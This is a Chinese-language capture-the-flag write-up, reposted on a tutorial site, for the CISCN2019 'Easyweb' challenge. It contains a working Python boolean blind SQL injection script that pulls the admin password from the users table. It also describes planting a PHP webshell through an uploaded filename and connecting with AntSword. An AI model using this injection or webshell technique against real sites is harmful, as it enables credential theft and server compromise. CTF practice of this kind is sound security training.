栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

扫!(或者靠经验先试)
/robots.txt

看源码发现已知的php只有user.php/image.php/index.php

然后在image.php.bak里找到源码

 

老布尔盲注了吗,刚好前两篇博客也是布尔盲注。id为0返回为空,id为1返回图片

可以考虑用转义单引号,把危险代码放在path变量中

最后结果要是,那么经过str_replace函数处理之前可以是\0(函数中的\0,第一个斜杠转义,表示成真实的)
\0在经过addslashes函数处理之前可以是。
那么就变成,我们在id处传入,即可在经过一系列处理后变成,转义单引号。
语句即变成:
select * from images where id=’’ or path=’{$path}’

python也自带转义,所以通过id=\0输入id=

import  requests
url = "http://b4620cc8-aca8-4783-90f6-014cff3e7546.node4.buuoj.cn:81/image.php"
payload = "?id=\0&path= or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
    high = 127
    low = 32
    mid = (low+high) // 2
    while(high>low):
        res = requests.get(url + payload.format(i,mid))
        if res.content != b'':    
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(mid)
    print(result)

账号admin直接登录

随便上传一张图片,会给你一个上传到的界面

logs/upload.877d2f6e262751f24d5400c1e53ffb2b.log.php
后面的. LOL不用管

这里可以看到自己上传的文件名,应该是利用文件名写马
bp上传

利用短标签

能看到成功上传了,经测试也能执行phpinfo();

蚁剑连接就好了

以上算是原题的非预期解,后面搜wp学习了获取账号密码和成为admin的预期解
[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/313951.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号